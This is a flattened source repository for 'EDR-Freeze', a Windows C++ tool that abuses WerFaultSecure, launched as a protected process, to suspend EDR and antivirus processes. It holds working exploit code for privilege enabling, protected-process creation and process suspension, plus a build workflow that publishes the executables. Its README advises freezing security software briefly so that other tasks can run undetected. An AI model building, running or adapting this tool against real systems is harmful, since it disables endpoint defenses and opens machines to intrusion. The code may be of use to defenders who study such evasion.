├── PPLHelp.h ├── EDR-Freeze.vcxproj.filters ├── EDR-Freeze.sln ├── .gitattributes ├── README.md ├── ProcessMisc.h ├── .github └── workflows │ └── build.yml ├── PPLHelp.cpp ├── EDR-Freeze.cpp ├── EDR-Freeze.vcxproj ├── ProcessMisc.cpp └── .gitignore /PPLHelp.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma comment(lib, "advapi32.lib") 9 | class PPLProcessCreator 10 | { 11 | private: 12 | HANDLE m_hProcess; 13 | HANDLE m_hThread; 14 | 15 | public: 16 | PPLProcessCreator() : m_hProcess(nullptr), m_hThread(nullptr) {} 17 | ~PPLProcessCreator() 18 | { 19 | if (m_hProcess) CloseHandle(m_hProcess); 20 | if (m_hThread) CloseHandle(m_hThread); 21 | } 22 | 23 | DWORD GetPPLProtectionLevel(DWORD processId); 24 | std::wstring GetPPLProtectionLevelName(DWORD protectionLevel); 25 | DWORD CreatePPLProcess(DWORD protectionLevel, std::wstring& commandLine); 26 | 27 | HANDLE GetProcessHandle(); 28 | HANDLE GetThreadHandle(); 29 | }; 30 | 31 | -------------------------------------------------------------------------------- /EDR-Freeze.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /EDR-Freeze.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35825.156 d17.13 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDR-Freeze", "EDR-Freeze.vcxproj", "{C309B935-E182-4AA2-8E06-FBE90EDBD3C1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Debug|x64.ActiveCfg = Debug|x64 17 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Debug|x64.Build.0 = Debug|x64 18 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Debug|x86.ActiveCfg = Debug|Win32 19 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Debug|x86.Build.0 = Debug|Win32 20 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Release|x64.ActiveCfg = Release|x64 21 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Release|x64.Build.0 = Release|x64 22 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Release|x86.ActiveCfg = Release|Win32 23 | {C309B935-E182-4AA2-8E06-FBE90EDBD3C1}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {CCE06ED2-DE2B-4A33-ACF8-B7776062DFA8} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### EDR-Freeze 2 | 3 | This is a tool that exploits the software vulnerability of WerFaultSecure to suspend the processes of EDRs and antimalware without needing to use the BYOVD (Bring Your Own Vulnerable Driver) attack method. 4 | 5 | EDR-Freeze operates in user mode, so you don't need to install any additional drivers. It can run on the latest version of Windows. 6 | 7 | *The experiment was conducted with the latest version of Windows at the time of the project creation: __Windows 11 24H2__* 8 | 9 | ### Command Line Syntax 10 | 11 | **EDR-Freeze.exe [TargetPID] [SleepTime]** 12 | 13 | *Example: __EDR-Freeze.exe 1234 10000__* 14 | 15 | *Freeze the target for 10000 milliseconds* 16 | 17 | ## Links 18 | 19 | [EDR-Freeze: A Tool That Puts EDRs And Antivirus Into A Coma State](https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html) 20 | 21 | [Tool to run process with PPL without driver](https://github.com/TwoSevenOneT/CreateProcessAsPPL) 22 | 23 | ## Demo Video 24 | 25 | Youtube: [https://www.youtube.com/watch?v=vFcbE94qD70](https://www.youtube.com/watch?v=vFcbE94qD70) 26 | 27 | ## How to Use EDR-Freeze Effectively 28 | 29 | Instead of running EDR-Freeze with a long sleep duration, you should incorporate it into a script with the following steps: 30 | 31 | 1. Temporarily halt all Antimalware/EDR processes for a short period (1-3 seconds). 32 | 2. Execute tasks immediately after a successful suspension. 33 | 34 | Since the GUI may become unresponsive in some cases, you should choose the shortest sleep time possible. Just make sure that the script executions are completed before the Antimalware/EDR resumes. 35 | 36 | Alternatively, it's best to insert the code you want to execute directly into the source code of EDR-Freeze: 37 | 38 | Insert code

39 | 40 | 41 | ## ☕ Like what I do? You can fuel my creativity with a coffee! 42 | 43 | [![Buy Me A Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoffee.com/twosevenonethree) 44 | 45 | ## Tools For Security Researcher and Hacker 46 | 47 | Essential tools that every security researcher and hacker should have in their toolkit: 48 | 49 | [Essential Tools For Security Researcher and Hacker](https://www.zerosalarium.com/p/essential-tools-for-security-researcher.html) 50 | 51 | ## READING 52 | 53 | Some books you should read to sharpen your cybersecurity skills, especially in offensive security: 54 | 55 | [Books on Programming and Cybersecurity recommended by Zero Salarium Researchers](https://www.zerosalarium.com/2025/10/books-on-programming-and-cybersecurity-recommended.html) 56 | 57 | ## Author: 58 | 59 | [Two Seven One Three](https://x.com/TwoSevenOneT) 60 | -------------------------------------------------------------------------------- /ProcessMisc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #pragma comment(lib, "ntdll.lib") 10 | 11 | // If not already defined 12 | #ifndef STATUS_INFO_LENGTH_MISMATCH 13 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004) 14 | #endif 15 | 16 | #ifndef NT_SUCCESS 17 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 18 | #endif 19 | typedef struct _MY_SYSTEM_THREAD_INFORMATION { 20 | LARGE_INTEGER KernelTime; 21 | LARGE_INTEGER UserTime; 22 | LARGE_INTEGER CreateTime; 23 | ULONG WaitTime; 24 | PVOID StartAddress; 25 | CLIENT_ID ClientId; 26 | LONG Priority; 27 | LONG BasePriority; 28 | ULONG ContextSwitches; 29 | ULONG ThreadState; 30 | ULONG WaitReason; 31 | } MY_SYSTEM_THREAD_INFORMATION, *PMY_SYSTEM_THREAD_INFORMATION; 32 | 33 | typedef struct _MY_SYSTEM_PROCESS_INFORMATION { 34 | ULONG NextEntryOffset; 35 | ULONG NumberOfThreads; 36 | LARGE_INTEGER Reserved[3]; 37 | LARGE_INTEGER CreateTime; 38 | LARGE_INTEGER UserTime; 39 | LARGE_INTEGER KernelTime; 40 | UNICODE_STRING ImageName; 41 | KPRIORITY BasePriority; 42 | HANDLE UniqueProcessId; 43 | HANDLE InheritedFromUniqueProcessId; 44 | ULONG HandleCount; 45 | ULONG SessionId; 46 | ULONG_PTR PageDirectoryBase; 47 | SIZE_T PeakVirtualSize; 48 | SIZE_T VirtualSize; 49 | ULONG PageFaultCount; 50 | SIZE_T PeakWorkingSetSize; 51 | SIZE_T WorkingSetSize; 52 | SIZE_T QuotaPeakPagedPoolUsage; 53 | SIZE_T QuotaPagedPoolUsage; 54 | SIZE_T QuotaPeakNonPagedPoolUsage; 55 | SIZE_T QuotaNonPagedPoolUsage; 56 | SIZE_T PagefileUsage; 57 | SIZE_T PeakPagefileUsage; 58 | SIZE_T PrivatePageCount; 59 | LARGE_INTEGER ReadOperationCount; 60 | LARGE_INTEGER WriteOperationCount; 61 | LARGE_INTEGER OtherOperationCount; 62 | LARGE_INTEGER ReadTransferCount; 63 | LARGE_INTEGER WriteTransferCount; 64 | LARGE_INTEGER OtherTransferCount; 65 | MY_SYSTEM_THREAD_INFORMATION Threads[1]; 66 | } MY_SYSTEM_PROCESS_INFORMATION; 67 | 68 | typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( 69 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 70 | PVOID SystemInformation, 71 | ULONG SystemInformationLength, 72 | PULONG ReturnLength 73 | ); 74 | 75 | // Convert HANDLE to decimal string 76 | std::wstring HandleToDecimal(HANDLE h); 77 | 78 | bool EnableDebugPrivilege(); 79 | 80 | // Get main thread ID of a process using NtQuerySystemInformation 81 | DWORD GetMainThreadId(DWORD pid); 82 | 83 | // Returns TRUE if process identified by pid appears suspended (every thread Waiting+Suspended). 84 | #define StateWait 5 85 | #define Suspended 5 86 | BOOL IsProcessSuspendedByPID(DWORD pid); 87 | 88 | // Define NtSuspendProcess function pointer 89 | typedef NTSTATUS(NTAPI* pNtSuspendProcess)(HANDLE ProcessHandle); 90 | BOOL SuspendProcessByPID(DWORD pid); 91 | BOOL TerminateProcessByPID(DWORD pid); -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build EDRFreeze 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | pull_request: 8 | branches: 9 | - master 10 | types: [closed] 11 | 12 | permissions: 13 | contents: write 14 | pull-requests: write 15 | repository-projects: write 16 | 17 | jobs: 18 | build: 19 | runs-on: windows-latest 20 | steps: 21 | - name: Checkout repository 22 | uses: actions/checkout@v4 23 | 24 | - name: Download MinGW 25 | run: | 26 | $ProgressPreference = 'SilentlyContinue' 27 | Invoke-WebRequest -Uri https://github.com/brechtsanders/winlibs_mingw/releases/download/15.2.0posix-13.0.0-msvcrt-r1/winlibs-x86_64-posix-seh-gcc-15.2.0-mingw-w64msvcrt-13.0.0-r1.7z -OutFile mingw.7z 28 | shell: powershell 29 | 30 | - name: Extract MinGW 31 | run: 7z x mingw.7z -oC:\mingw -y > nul 32 | shell: cmd 33 | 34 | - name: Set up environment 35 | run: | 36 | echo "C:\mingw\bin" >> $env:GITHUB_PATH 37 | shell: powershell 38 | 39 | - name: Verify GCC 40 | run: | 41 | gcc --version 42 | shell: cmd 43 | 44 | - name: Configure MSVC and Build 45 | shell: cmd 46 | run: | 47 | call "C:\\Program Files\\Microsoft Visual Studio\\2022\\Enterprise\\VC\\Auxiliary\\Build\\vcvars64.bat" 48 | cl /EHsc /W3 /O2 /MT /DUNICODE /D_UNICODE /DWIN32 /D_CONSOLE EDR-Freeze.cpp PPLHelp.cpp ProcessMisc.cpp /link /SUBSYSTEM:CONSOLE /OUT:EDRFreeze-msvc.exe 49 | 50 | - name: Build GNU 51 | run: g++ -w -Os -static -std=c++17 -Wall -Wextra -Wno-narrowing -s -DUNICODE -D_UNICODE -municode -D_WIN32_WINNT=0x0A00 -DNTDDI_VERSION=0x0A000000 EDR-Freeze.cpp PPLHelp.cpp ProcessMisc.cpp -o EDRFreeze-gnu.exe 52 | shell: cmd 53 | 54 | - name: List build directory 55 | shell: cmd 56 | run: dir 57 | 58 | - name: Get short commit hash 59 | id: vars 60 | run: echo "SHORT_SHA=${GITHUB_SHA::7}" >> $GITHUB_ENV 61 | shell: bash 62 | 63 | - name: Delete existing tag and release 64 | env: 65 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 66 | run: | 67 | gh release delete v1.0-${{ env.SHORT_SHA }} --cleanup-tag --yes || ( 68 | echo No release or tag found for v1.0-${{ env.SHORT_SHA }} 69 | exit /b 0 70 | ) 71 | shell: cmd 72 | 73 | - name: Create Release 74 | id: create_release 75 | uses: actions/create-release@v1 76 | env: 77 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 78 | with: 79 | tag_name: v1.0-${{ env.SHORT_SHA }} 80 | release_name: EDRFreeze v1.0-${{ env.SHORT_SHA }} 81 | body: "Automated release for commit ${{ env.SHORT_SHA }}" 82 | 83 | - name: Upload MSVC Build 84 | uses: actions/upload-release-asset@v1 85 | env: 86 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 87 | with: 88 | upload_url: ${{ steps.create_release.outputs.upload_url }} 89 | asset_path: EDRFreeze-msvc.exe 90 | asset_name: EDRFreeze-msvc.exe 91 | asset_content_type: application/octet-stream 92 | 93 | - name: Upload GNU Build 94 | uses: actions/upload-release-asset@v1 95 | env: 96 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 97 | with: 98 | upload_url: ${{ steps.create_release.outputs.upload_url }} 99 | asset_path: EDRFreeze-gnu.exe 100 | asset_name: EDRFreeze-gnu.exe 101 | asset_content_type: application/octet-stream 102 | -------------------------------------------------------------------------------- /PPLHelp.cpp: -------------------------------------------------------------------------------- 1 | #include "PPLHelp.h" 2 | 3 | DWORD PPLProcessCreator::GetPPLProtectionLevel(DWORD processId) 4 | { 5 | DWORD protectionLevel = 0; 6 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); 7 | 8 | if (hProcess) 9 | { 10 | PROCESS_PROTECTION_LEVEL_INFORMATION protectionInfo; 11 | DWORD returnLength = 0; 12 | 13 | if (GetProcessInformation(hProcess, ProcessProtectionLevelInfo, 14 | &protectionInfo, sizeof(protectionInfo))) 15 | { 16 | protectionLevel = protectionInfo.ProtectionLevel; 17 | } 18 | 19 | CloseHandle(hProcess); 20 | } 21 | 22 | return protectionLevel; 23 | } 24 | std::wstring PPLProcessCreator::GetPPLProtectionLevelName(DWORD protectionLevel) 25 | { 26 | std::wcout << L"Protection Level: " << protectionLevel << std::endl; 27 | switch (protectionLevel) 28 | { 29 | case PROTECTION_LEVEL_WINTCB_LIGHT: 30 | return L"PROTECTION_LEVEL_WINTCB_LIGHT"; 31 | case PROTECTION_LEVEL_WINDOWS: 32 | return L"PROTECTION_LEVEL_WINDOWS"; 33 | case PROTECTION_LEVEL_WINDOWS_LIGHT: 34 | return L"PROTECTION_LEVEL_WINDOWS_LIGHT"; 35 | case PROTECTION_LEVEL_ANTIMALWARE_LIGHT: 36 | return L"PROTECTION_LEVEL_ANTIMALWARE_LIGHT"; 37 | case PROTECTION_LEVEL_LSA_LIGHT: 38 | return L"PROTECTION_LEVEL_LSA_LIGHT"; 39 | default: 40 | return L"Unknown protection level"; 41 | } 42 | } 43 | DWORD PPLProcessCreator::CreatePPLProcess(DWORD protectionLevel, std::wstring& commandLine) 44 | { 45 | SIZE_T size = 0; 46 | STARTUPINFOEXW siex = { 0 }; 47 | siex.StartupInfo.cb = sizeof(siex); 48 | PROCESS_INFORMATION pi = { 0 }; 49 | LPPROC_THREAD_ATTRIBUTE_LIST ptal = nullptr; 50 | 51 | // Initialize attribute list size 52 | if (!InitializeProcThreadAttributeList(nullptr, 1, 0, &size) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) 53 | { 54 | std::wcerr << L"InitializeProcThreadAttributeList failed: " << GetLastError() << std::endl; 55 | return 0; 56 | } 57 | 58 | // Allocate attribute list 59 | ptal = reinterpret_cast(HeapAlloc(GetProcessHeap(), 0, size)); 60 | if (!ptal) 61 | { 62 | std::wcerr << L"HeapAlloc failed: " << GetLastError() << std::endl; 63 | return 0; 64 | } 65 | 66 | // Initialize attribute list 67 | if (!InitializeProcThreadAttributeList(ptal, 1, 0, &size)) 68 | { 69 | std::wcerr << L"InitializeProcThreadAttributeList failed: " << GetLastError() << std::endl; 70 | HeapFree(GetProcessHeap(), 0, ptal); 71 | return 0; 72 | } 73 | 74 | // Set protection level 75 | //DWORD protectionLevel = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; 76 | if (!UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, &protectionLevel, sizeof(protectionLevel), nullptr, nullptr)) 77 | { 78 | std::wcerr << L"UpdateProcThreadAttribute failed: " << GetLastError() << std::endl; 79 | DeleteProcThreadAttributeList(ptal); 80 | HeapFree(GetProcessHeap(), 0, ptal); 81 | return 0; 82 | } 83 | siex.lpAttributeList = ptal; 84 | 85 | // Create process with PPL protection 86 | if (!CreateProcessW( 87 | nullptr, // Application name 88 | (LPWSTR)commandLine.c_str(), // Command line 89 | nullptr, // Process security attributes 90 | nullptr, // Thread security attributes 91 | TRUE, // Inherit handles 92 | EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS, 93 | nullptr, // Environment 94 | nullptr, // Current directory 95 | &siex.StartupInfo, // Startup info 96 | &pi)) // Process information 97 | { 98 | std::wcerr << L"CreateProcessW failed: " << GetLastError() << std::endl; 99 | DeleteProcThreadAttributeList(ptal); 100 | HeapFree(GetProcessHeap(), 0, ptal); 101 | return 0; 102 | } 103 | 104 | // Clean up attribute list 105 | DeleteProcThreadAttributeList(ptal); 106 | HeapFree(GetProcessHeap(), 0, ptal); 107 | 108 | m_hProcess = pi.hProcess; 109 | m_hThread = pi.hThread; 110 | 111 | std::wcout << L"Successfully created PPL process with PID: " << pi.dwProcessId << std::endl; 112 | std::wcerr << L"Protection level: " << GetPPLProtectionLevelName(GetPPLProtectionLevel(pi.dwProcessId)) << std::endl; 113 | 114 | //DWORD result = WaitForSingleObject(m_hProcess, INFINITE); 115 | //if (result == WAIT_OBJECT_0) 116 | //{ 117 | // DWORD exitCode; 118 | // GetExitCodeProcess(m_hProcess, &exitCode); 119 | // std::wcout << L"Process WerfaultSecure.exe exited with code: " << exitCode << std::endl; 120 | //} 121 | 122 | return pi.dwProcessId; 123 | } 124 | 125 | HANDLE PPLProcessCreator::GetProcessHandle() { return m_hProcess; } 126 | HANDLE PPLProcessCreator::GetThreadHandle() { return m_hThread; } -------------------------------------------------------------------------------- /EDR-Freeze.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "ProcessMisc.h" 4 | #include "PPLHelp.h" 5 | 6 | struct PauseCheckParams { 7 | DWORD targetPID; 8 | DWORD werPID; 9 | }; 10 | DWORD WINAPI PauseCheck(LPVOID lpParam) 11 | { 12 | PauseCheckParams* params = static_cast(lpParam); 13 | DWORD targetPID = params->targetPID; 14 | DWORD werPID = params->werPID; 15 | while (!IsProcessSuspendedByPID(targetPID)) 16 | { 17 | continue; 18 | } 19 | //target paused, now pause WerFault to keep target freeze 20 | std::wcout << L"Target paused. PID: " << targetPID << std::endl; 21 | if (SuspendProcessByPID(werPID)) 22 | { 23 | std::wcout << L"WER paused. PID: " << targetPID << std::endl; 24 | } 25 | return 0; 26 | } 27 | BOOL FreezeRun(DWORD targetPID, DWORD targetTID, DWORD sleepTime) 28 | { 29 | // 1. Prepare SECURITY_ATTRIBUTES for inheritable handles 30 | SECURITY_ATTRIBUTES sa = {}; 31 | sa.nLength = sizeof(sa); 32 | sa.bInheritHandle = TRUE; 33 | sa.lpSecurityDescriptor = nullptr; 34 | 35 | // 2. Create the output files for the dumps 36 | std::wstring dumpFileName = L"dump_" + std::to_wstring(targetPID) + L".txt"; 37 | HANDLE hEncDump = CreateFileW(dumpFileName.c_str(), GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); 38 | if (hEncDump == INVALID_HANDLE_VALUE) 39 | { 40 | std::wcerr << L"Failed to create dump files: " << GetLastError() << std::endl; 41 | return 0; 42 | } 43 | // 3. Create the cancellation event 44 | HANDLE hCancel = CreateEventW(&sa, TRUE, FALSE, nullptr); 45 | if (!hCancel) 46 | { 47 | std::wcerr << L"Failed to create cancel event: " << GetLastError() << std::endl; 48 | CloseHandle(hEncDump); 49 | return 0; 50 | } 51 | // 52 | std::wstring werPath = L"C:\\Windows\\System32\\WerFaultSecure.exe"; 53 | std::wstringstream cmd; 54 | cmd << werPath 55 | << L" /h" 56 | << L" /pid " << targetPID 57 | << L" /tid " << targetTID 58 | << L" /encfile " << HandleToDecimal(hEncDump) 59 | << L" /cancel " << HandleToDecimal(hCancel) 60 | << L" /type 268310"; // dump full 61 | std::wstring commandLine = cmd.str(); 62 | PPLProcessCreator creator; 63 | //0 = WinTCB 64 | DWORD werPID = creator.CreatePPLProcess(0, commandLine); 65 | if (werPID == 0) 66 | { 67 | std::wcerr << L"Failed to create PPL process." << std::endl; 68 | CloseHandle(hEncDump); 69 | CloseHandle(hCancel); 70 | return 0; 71 | } 72 | 73 | PauseCheckParams* params = new PauseCheckParams{ targetPID, werPID }; 74 | // Create a thread to check target status 75 | HANDLE hThread = CreateThread( 76 | nullptr, // default security attributes 77 | 0, // default stack size 78 | PauseCheck, // thread function 79 | params, // parameter to thread function 80 | 0, // default creation flags 81 | nullptr // receive thread identifier 82 | ); 83 | if (hThread == nullptr) 84 | { 85 | std::wcerr << L"Failed to create thread." << std::endl; 86 | delete params; 87 | return 0; 88 | } 89 | Sleep(sleepTime); 90 | //terminate WerFaultSecure, let target auto resume 91 | if (TerminateProcessByPID(werPID)) 92 | { 93 | std::wcout << L"Kill WER successfully. PID: " << werPID << std::endl; 94 | } 95 | else 96 | { 97 | std::wcerr << L"Kill WER failed: " << GetLastError() << std::endl; 98 | } 99 | CloseHandle(hThread); 100 | delete params; 101 | CloseHandle(hEncDump); 102 | CloseHandle(hCancel); 103 | // Delete the useless enc file 104 | if (DeleteFileW(L"t.txt")) 105 | { 106 | std::wcout << L"File deleted successfully." << std::endl; 107 | } 108 | else 109 | { 110 | std::wcerr << L"Error deleting file: " << GetLastError() << std::endl; 111 | } 112 | return 1; 113 | } 114 | 115 | 116 | int wmain(int argc, wchar_t* argv[]) 117 | { 118 | std::wcout << L"\nEDR-Freeze: Tool that freezes EDR/Antivirus\n" 119 | << L" Two Seven One Three: https://x.com/TwoSevenOneT\n" 120 | << L"==================================================\n\n"; 121 | 122 | if (argc != 3) 123 | { 124 | std::wcout << L"Usage:\n" 125 | << L" EDR-Freeze.exe \n\n" 126 | << L"Example:\n" 127 | << L" EDR-Freeze.exe 1234 10000\n" 128 | << L" Freeze the target for 10000 milliseconds\n"; 129 | return 0; 130 | } 131 | DWORD targetPid = _wtoi(argv[1]); 132 | DWORD pauseTime = _wtoi(argv[2]); 133 | if (!EnableDebugPrivilege()) 134 | { 135 | std::wcerr << L"Failed to enable debug privilege.\n"; 136 | return 0; 137 | } 138 | // Get main thread ID 139 | DWORD targetTid = GetMainThreadId(targetPid); 140 | if (targetTid == 0) 141 | { 142 | std::wcerr << L"Failed to find main thread for PID " << targetPid << L"\n"; 143 | return 0; 144 | } 145 | FreezeRun(targetPid, targetTid, pauseTime); 146 | 147 | return 0; 148 | } 149 | 150 | -------------------------------------------------------------------------------- /EDR-Freeze.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {c309b935-e182-4aa2-8e06-fbe90edbd3c1} 25 | EDRFreeze 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | -------------------------------------------------------------------------------- /ProcessMisc.cpp: -------------------------------------------------------------------------------- 1 | #include "ProcessMisc.h" 2 | 3 | // Convert HANDLE to decimal string 4 | std::wstring HandleToDecimal(HANDLE h) 5 | { 6 | std::wstringstream ss; 7 | ss << reinterpret_cast(h); 8 | return ss.str(); 9 | } 10 | 11 | bool EnableDebugPrivilege() 12 | { 13 | HANDLE hToken = nullptr; 14 | TOKEN_PRIVILEGES tp = {}; 15 | LUID luid; 16 | 17 | // Open the current process token 18 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 19 | { 20 | std::wcerr << L"OpenProcessToken failed: " << GetLastError() << L"\n"; 21 | return false; 22 | } 23 | 24 | // Lookup the LUID for SeDebugPrivilege 25 | if (!LookupPrivilegeValueW(nullptr, SE_DEBUG_NAME, &luid)) 26 | { 27 | std::wcerr << L"LookupPrivilegeValue failed: " << GetLastError() << L"\n"; 28 | CloseHandle(hToken); 29 | return false; 30 | } 31 | 32 | // Enable the privilege 33 | tp.PrivilegeCount = 1; 34 | tp.Privileges[0].Luid = luid; 35 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 36 | 37 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr)) 38 | { 39 | std::wcerr << L"AdjustTokenPrivileges failed: " << GetLastError() << L"\n"; 40 | CloseHandle(hToken); 41 | return false; 42 | } 43 | 44 | CloseHandle(hToken); 45 | 46 | // Check for success 47 | if (GetLastError() == ERROR_SUCCESS) 48 | { 49 | std::wcout << L"SeDebugPrivilege enabled successfully.\n"; 50 | return true; 51 | } 52 | else 53 | { 54 | std::wcerr << L"AdjustTokenPrivileges reported error: " << GetLastError() << L"\n"; 55 | return false; 56 | } 57 | } 58 | 59 | DWORD GetMainThreadId(DWORD pid) 60 | { 61 | ULONG bufferSize = 0x10000; 62 | PVOID buffer = nullptr; 63 | NTSTATUS status; 64 | PNtQuerySystemInformation NtQuerySystemInformation = 65 | (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); 66 | 67 | do { 68 | buffer = VirtualAlloc(nullptr, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 69 | if (!buffer) return 0; 70 | 71 | status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, nullptr); 72 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 73 | VirtualFree(buffer, 0, MEM_RELEASE); 74 | bufferSize *= 2; 75 | } 76 | } while (status == 